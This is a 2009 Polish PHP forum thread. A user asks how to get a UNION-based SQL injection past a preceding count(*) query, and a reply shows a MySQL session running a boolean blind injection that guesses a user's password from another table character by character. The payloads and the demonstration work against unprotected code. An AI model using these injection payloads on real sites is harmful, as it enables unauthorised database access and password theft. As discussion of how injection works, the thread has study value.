Witaj Gościu! ( Zaloguj | Rejestruj )

Forum PHP.pl

> sqlinjection z union
nospor
post 16.02.2009, 17:24:23
Post #1





Grupa: Moderatorzy
Postów: 36 557
Pomógł: 6315
Dołączył: 27.12.2004




Pytanie teoretyczne:
czy jest możliwość wstawienia zapytania z union, do następującej teoretycznej sytuacji:

skrypt niezabezpieczony w zaden sposob przed sqlinjection, mozna wkladac co nam się chce.

wykonywane zapytanie:
  1. SELECT cos, cos2, cos3 FROM tabela WHERE pole = 'cosZforma';

gdzie cosZforma to dana, która moze w formularzu dowolnie modyfikowac.

Chcac wstawic uniona, wystarczy wiec za cosZforma wstawic:
' union select c1,c2,c3 from innatabela where '1=1
w rezulatacie otrzymamy poprawne zapytanie z union
  1. SELECT cos, cos2, cos3 FROM tabela WHERE pole = '' UNION SELECT c1,c2,c3 FROM innatabela WHERE '1=1';


pojawia sie jednak problem, gdyz nasze glowne zapytanie poprzedzane jest zapytaniem zliczającym, czyli
  1. SELECT count(*) FROM tabela WHERE pole = 'cosZforma';

w rezulatacie po wstawieniu naszej zmiennej otrzymamy
  1. SELECT count(*) FROM tabela WHERE pole = '' UNION SELECT c1,c2,c3 FROM innatabela WHERE '1=1';

Co wywali nam zapytanie, gdyz union dostarczy nam inną liczbę kolumn.
Skrypt dalej sie nie wykona, bo zapytanie z count(*) zwraca nam false i nie jedziemy dalej.

Czy istnieje jakies ominiecie tego? By w jednym ciągu zawrzec zarówna jedną kolumne i kilka kolumn? Tak by przeszlo zarowno przez zapytanie z count() jak i drugie pobierające dane?

ps: nie chce nikogo hackowac. Interesuje mnie, czy jest to możliwe.


--------------------

"Myśl, myśl, myśl..." - Kubuś Puchatek || "Manual, manual, manual..." - Kubuś Programista
"Szukaj, szukaj, szukaj..." - Kubuś Odkrywca || "Debuguj, debuguj, debuguj..." - Kubuś Developer

Go to the top of the page
+Quote Post
 
Start new topic
Odpowiedzi
pyro
post 16.02.2009, 18:16:14
Post #2





Grupa: Zarejestrowani
Postów: 2 148
Pomógł: 230
Dołączył: 26.03.2008

Ostrzeżenie: (0%)
-----


Hmmm... nie wiem jak z UNION'em ale wydaje mi się ze w ten sposob się nie da... za to można zrobić inne ciekawe sztuczki w ten sposób... smile.gif pozwól że za chwilę zupdatuje posta z małym przykładem.

// EDIT

  1. mysql> CREATE TABLE users(id int NOT NULL AUTO_INCREMENT PRIMARY KEY, login char
  2. (10), pass char(10));
  3. Query OK, 0 rows affected (0.09 sec)
  4.  
  5. mysql> INSERT INTO users VALUES(NULL, 'wujek', 'crimson');
  6. Query OK, 1 row affected (0.05 sec)
  7.  
  8. mysql> INSERT INTO users VALUES(NULL, 'ciocia', 'pirate');
  9. Query OK, 1 row affected (0.00 sec)
  10.  
  11. mysql> INSERT INTO users VALUES(NULL, 'synek', 'passik');
  12. Query OK, 1 row affected (0.01 sec)
  13.  
  14. mysql> CREATE TABLE articles(article_id int NOT NULL AUTO_INCREMENT PRIMARY KEY,
  15. article_body longtext);
  16. Query OK, 0 rows affected (0.02 sec)
  17.  
  18. mysql> INSERT INTO articles SET article_id=NULL, article_body='To jest przyklado
  19. wy artykul';
  20. Query OK, 1 row affected (0.08 sec)
  21.  
  22. mysql> SELECT * FROM articles;
  23. +------------+-----------------------------+
  24. | article_id | article_body |
  25. +------------+-----------------------------+
  26. | 1 | TO jest przykladowy artykul |
  27. +------------+-----------------------------+
  28. 1 row IN SET (0.00 sec)
  29.  
  30. mysql> SELECT count(*) FROM articles WHERE article_id = '' OR (SELECT login FROM users WHERE login = 'wujek' AND pass LIKE 'c%') = 'wujek';
  31. +----------+
  32. | count(*) |
  33. +----------+
  34. | 1 |
  35. +----------+
  36. 1 row IN SET (0.00 sec)
  37.  
  38. mysql> SELECT count(*) FROM articles WHERE article_id = '' OR (SELECT login FROM users WHERE login = 'wujek' AND pass LIKE 'ca%') = 'wujek';
  39. +----------+
  40. | count(*) |
  41. +----------+
  42. | 0 |
  43. +----------+
  44. 1 row IN SET (0.00 sec)
  45.  
  46. mysql> SELECT count(*) FROM articles WHERE article_id = '' OR (SELECT login FROM users WHERE login = 'wujek' AND pass LIKE 'cw%') = 'wujek';
  47. +----------+
  48. | count(*) |
  49. +----------+
  50. | 0 |
  51. +----------+
  52. 1 row IN SET (0.00 sec)
  53.  
  54. mysql> SELECT count(*) FROM articles WHERE article_id = '' OR (SELECT login FROM users WHERE login = 'wujek' AND pass LIKE 'cr%') = 'wujek';
  55. +----------+
  56. | count(*) |
  57. +----------+
  58. | 1 |
  59. +----------+
  60. 1 row IN SET (0.00 sec)
  61.  
  62. mysql> # I tak dalej mozna odgadnac haslo konkretnego/niekonkretnego usera z zupelnie innej tabeli :)
  63. mysql>


Ten post edytował pyro 16.02.2009, 18:30:10


--------------------
ET LINGUA EIUS LOQUETUR IUDICIUM
Go to the top of the page
+Quote Post

Posty w temacie


Reply to this topicStart new topic
1 Użytkowników czyta ten temat (1 Gości i 0 Anonimowych użytkowników)
0 Zarejestrowanych:

 



RSS Wersja Lo-Fi Aktualny czas: 19.06.2025 - 18:58